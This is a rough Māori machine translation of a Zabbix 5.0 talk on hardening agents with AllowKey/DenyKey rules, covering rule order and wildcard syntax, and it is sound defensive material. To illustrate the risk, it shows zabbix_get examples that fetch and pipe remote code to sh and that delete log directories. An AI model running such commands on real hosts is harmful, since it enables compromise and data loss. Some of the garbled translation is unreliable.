Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Ko te rarangi pango me te rarangi ma te tautoko mo nga inenga taha-kaiwhakahaere

Tikhon Uskov, Kaihanga Whakauru, Zabbix

Nga take haumarutanga raraunga

Kei a Zabbix 5.0 tetahi waahanga hou ka taea e koe te whakapai ake i te haumarutanga i roto i nga punaha ma te whakamahi i te Zabbix Agent me te whakakapi i te tawhā tawhito. EnableRemoteCommands.

Ko te whakapai ake i te haumarutanga o nga punaha a nga kaihoko ka ahu mai i te mea ka taea e tetahi kaihoko te mahi i te maha o nga mahi kino.

  • Ka taea e te kaihoko te kohi tata ki nga korero katoa, tae atu ki nga korero muna, morearea ranei, mai i nga konae whirihora, i nga konae takiuru, i nga konae kupuhipa, i etahi atu konae.

Hei tauira, ma te whakamahi i te whaipainga zabbix_get ka taea e koe te uru ki te raarangi o nga kaiwhakamahi, o raatau raarangi kaainga, nga konae kupuhipa, aha atu.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Te uru ki nga raraunga ma te whakamahi i te whaipainga zabbix_get

FAKATOKANGA. Ka taea anake te tiki raraunga mena kua panuihia e te kaihoko nga whakaaetanga mo te konae e pa ana. Engari, hei tauira, ko te konae /etc/passwd/ ka taea te panui e nga kaiwhakamahi katoa.

  • Ka taea hoki e te kaihoko te whakahaere i nga whakahau kino. Hei tauira, kī *system.run[]** ka taea e koe te whakahaere i nga whakahau mamao i runga i nga pona whatunga, tae atu ki te whakahaere i nga tuhinga mai i te atanga tukutuku a Zabbix e whakahaere ana i nga whakahau ki te taha kaihoko.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • I runga i te Linux, ka rere te kaihoko ma te taunoa kaore he mana pakiaka, i runga i te Matapihi ka whakahaere hei ratonga hei Pūnaha me te uru kore here ki te punaha konae. Na, ki te kore he whakarereketanga ki nga tawhā a Zabbix Agent i muri i te whakaurunga, ka whai waahi te kaihoko ki te rehita, te punaha konae ka taea te whakahaere i nga patai WMI.

I nga putanga o mua te tawhā EnableRemoteCommands=0 whakaaetia anake ki te mono inenga me te kī *system.run[]** me te whakahaere i nga tuhinga mai i te atanga tukutuku, engari kaore he huarahi ki te aukati i te uru ki nga konae takitahi, ki te whakaae, ki te whakakore ranei i nga taviri takitahi i whakauruhia ki te kaihoko, ki te whakaiti ranei i te whakamahi i nga tawhā takitahi.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Ma te whakamahi i te tawhā EnableRemoteCommand i nga putanga o mua o Zabbix

WhakaaeKey/DenyKey

Ka awhina a Zabbix 5.0 ki te whakamarumaru mai i taua urunga kore mana ma te whakarato i nga rarangi ma me nga rarangi pango mo te tuku me te whakakore i nga inenga i te taha kaihoko.

I roto i te Zabbix 5.0 nga taviri katoa, tae atu ki te *system.run[]** kua whakahohea, e rua nga whiringa whirihoranga kaihoko hou kua taapirihia:

WhakaaeKey= — arowhai whakaaetia;

DenyKey= - nga arowhai aukati;

kei hea he tauira ingoa matua me nga tawhā e whakamahi ana i nga tohu tohu (*).

Ko nga taviri AllowKey me DenyKey ka taea e koe te whakaae, te whakakore ranei i nga inenga takitahi i runga i tetahi tauira motuhake. Kaore i rite ki etahi atu tawhā whirihoranga, ko te maha o nga tawhā AllowKey/DenyKey kaore i te iti. Ma tenei ka taea e koe te whakamarama he aha nga mahi ka taea e te kaihoko ki roto i te punaha ma te hanga i tetahi rakau arowhai - nga taviri ka taea te whakahaere, he waahi nui te raupapa o te tuhi.

Te raupapa ture

Ka tirohia nga ture i roto i te raupapa i whakauruhia ai ki te konae whirihoranga. Ka tirohia te ki i runga i nga ture i mua i te tukinga tuatahi, a, ina tau te ki o te huānga raraunga ki te tauira, ka whakaaetia, ka whakakorehia ranei. Whai muri i tenei, ka mutu te arowhai ture, ka warewarehia nga toenga o nga taviri.

Na reira, ki te taurite tetahi huānga ki te ture whakaae me te ture whakahē, ka whakawhirinaki te hua ki tehea ture te tuatahi ki te konae whirihoranga.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

2 ture rereke me te tauira kotahi me te ki vfs.file.size[/tmp/file]

Te raupapa o te whakamahi i nga taviri AllowKey/DenyKey:

  1. ture tika,
  2. ture whānui,
  3. ture aukati.

Hei tauira, ki te hiahia koe ki te uru atu ki nga konae kei roto i tetahi kōpaki, me tuku e koe te uru ki a raatau, katahi ka whakakore i nga mea katoa kaore e uru ki roto i nga whakaaetanga kua whakaritea. Mena ka whakamahia te ture whakahē i te tuatahi, ka kore te uru ki te kōpaki.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Te raupapa tika

Mena ka hiahia koe ki te tuku kia 2 nga taputapu kia rere ma te *system.run[]**, a ko te ture whakahē ka tohua i te tuatahi, karekau e whakarewahia nga taputapu, na te mea ka taurite tonu te tauira tuatahi ki tetahi ki, ka waiho nga ture o muri mai.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

He raupapatanga he

Tauira

Ngā ture taketake

Ko te tauira he whakaaturanga me nga kaari mohoao. Ko te pūāhua meta (*) e ōrite ana ki te maha o ngā pūāhua kei tētahi tūnga motuhake. Ka taea te whakamahi i nga tohu tohu i roto i te ingoa matua me nga tawhā. Hei tauira, ka taea e koe te tautuhi i te tawhā tuatahi me te kuputuhi, ka whakapūtā te mea ka whai ake hei kāri mohoao.

Me mau nga tawhā ki nga taiapa tapawha [].

  • system.run[* - hē
  • vfs.file*.txt] - hē
  • vfs.file.*[*] - tika

He tauira mo te whakamahi kaari mohoao.

  1. I te ingoa matua me te tawhā. I tenei keehi, kaore te kii e rite ki tetahi kii rite kaore he tawhā, na te mea i roto i te tauira i tohuhia e hiahia ana matou ki te whiwhi i tetahi mutunga o te ingoa matua me etahi huinga tawhā.
  2. Ki te kore te tauira e whakamahi i nga taiapa tapawha, ka whakaaetia e te tauira nga taviri katoa karekau he tawhā me te whakakore i nga taviri katoa kei roto te tawhā kua tohua.
  3. Mēnā kua tuhia katoatia te kī, ā, kua whakapūtātia ngā tawhā hei kāri mohoao, ka ōrite ki ngā kī rite ki ngā tawhā, ā, ka kore e taurite ki te kī me te kore taiapa tapawha, arā, ka whakaaetia, ka whakakorehia ranei.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Nga ture mo te whakakii i nga tawhā.

  • Mēnā ka whakamahia he kī whai tawhā, me tohu ngā tawhā ki te kōnae whirihoranga. Me tohuhia nga tawhā hei tohu tohu. Me ata whakakore te uru ki tetahi konae me te whakaaro he aha nga korero ka taea e te ine te tuku i raro i nga momo takikupu - me nga tawhā me te kore.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Nga ahuatanga o te tuhi taviri me nga tawhā

  • Mēnā kua tohua he kī me ngā tawhā, engari he mea kōwhiri ngā tawhā ka tohua hei pūāhua meta, ka whakatauhia he kī kore he tawhā. Hei tauira, ki te hiahia koe ki te whakakore i nga korero e pa ana ki te utaina i runga i te PTM me te tautuhi me whakakorehia te matua system.cpu.load [*], kaua e wareware ko te matua kaore he taapiri ka hoki mai te uara kawenga toharite.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

Nga ture mo te whakakii i nga tawhā

Pukapuka

whakatikatikanga

  • Ko etahi ture kaore e taea te whakarereke e te kaiwhakamahi, hei tauira, nga ture kitenga, ture rehita-aunoa a te kaihoko. Karekau nga ture AllowKey/DenyKey e pa ki nga tawhā e whai ake nei:
    - Ingoa Kaihautū
    - HostMetadataItem
    - HostInterfaceItem

FAKATOKANGA. Mena ka monohia e te kaiwhakahaere tetahi ki, ka pataia, kare a Zabbix e tuku korero mo te take i taka ai te ine, te matua ranei ki te waahanga 'KAHORe i tautokona'. Ko nga korero mo te aukati ki te whakahaere i nga whakahau mamao kaore ano kia whakaatuhia ki nga konae rangitaki kaihoko. He take haumaru tenei, engari ka taea te whakararu i te patuiro mena ka taka nga inenga ki tetahi waahanga kore e tautokona mo etahi take.

  • Kaua e whakawhirinaki ki tetahi ota motuhake mo te hono i nga konae whirihoranga o waho (hei tauira, i te raupapa piapa).

Taputapu Raina Whakahau

I muri i te whakarite i nga ture, me mohio koe kua whirihora tika nga mea katoa.

Ka taea e koe te whakamahi i tetahi o nga whiringa e toru:

  • Tāpirihia he inenga ki a Zabbix.
  • Whakamatautau me zabbix_agentd. Kaihoko Zabbix me te whiringa -tā (-p) e whakaatu ana i nga taviri katoa (e whakaaetia ana ma te taunoa) engari ko nga mea kaore e whakaaetia e te whirihoranga. A me te kōwhiringa -whakamatautau (-t) no te mea ka hoki mai te ki rahui 'Kī tūemi kore tautoko'.
  • Whakamatautau me zabbix_get. Whakamahinga zabbix_get me te kōwhiringa -k ka hoki mai 'ZBX_NOTSUPPORTED: Inenga kore mohio'.

Whakaae, whakakahore ranei

Ka taea e koe te whakakore i te uru ki tetahi konae me te manatoko, hei tauira, ma te whakamahi i te taputapu zabbix_getkua whakakorehia te uru ki te konae.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

**

FAKATOKANGA. Ko nga korero kei roto i te tawhā ka warewarehia.

I tenei keehi, ka taea te uru ki taua konae ma te ara rereke. Hei tauira, mena ka ahu mai tetahi symlink ki reira.

Ko te raarangi pango me te raarangi ma te tautoko mo nga inenga taha-kaiwhakahaere i roto i te Zabbix 5.0

E taunaki ana kia tirohia nga momo whiringa mo te whakamahi i nga ture kua tohua, me te whai whakaaro ano hoki ki nga huarahi ki te karo i nga aukati.

Uiraa e pahonoraa

Tautuhi. He aha te tauira uaua me tona ake reo i whiriwhiria hei whakaahua i nga ture, whakaaetanga me nga aukati? He aha te take i kore ai e taea te whakamahi, hei tauira, nga korero auau e whakamahia ana e Zabbix?

Whakautu. He take mahi regex tenei na te mea he kotahi noa te kaihoko ka tirohia e ia te maha o nga inenga. He tino taumaha te mahi a Regex a kaore e taea e matou te tirotiro i nga mano tini ineine penei. Kaari mohoao - he otinga mo te ao, whakamahia whanui me te ngawari.

Tautuhi. Karekau nga konae Whakauru i roto i te raupapa piapa?

Whakautu. Ki taku mohio, karekau e taea te matapae i te raupapa o nga ture ka tukuna mena ka horahia e koe nga ture ki nga konae rereke. Ka tūtohu ahau ki te kohi i nga ture AllowKey/DenyKey katoa ki roto i te konae Whakauru, na te mea kei te mahi tahi raua me te whakauru i tenei konae..

Tautuhi. I roto i te Zabbix 5.0 te kōwhiringa 'EnableRemoteCommands=' kei te ngaro mai i te konae whirihoranga, a ko AllowKey/DenyKey anake e waatea ana?

Whakautu. Ae ka tika.

Mauruuru koe mo to aro!

Source: will.com

Tāpiri i te kōrero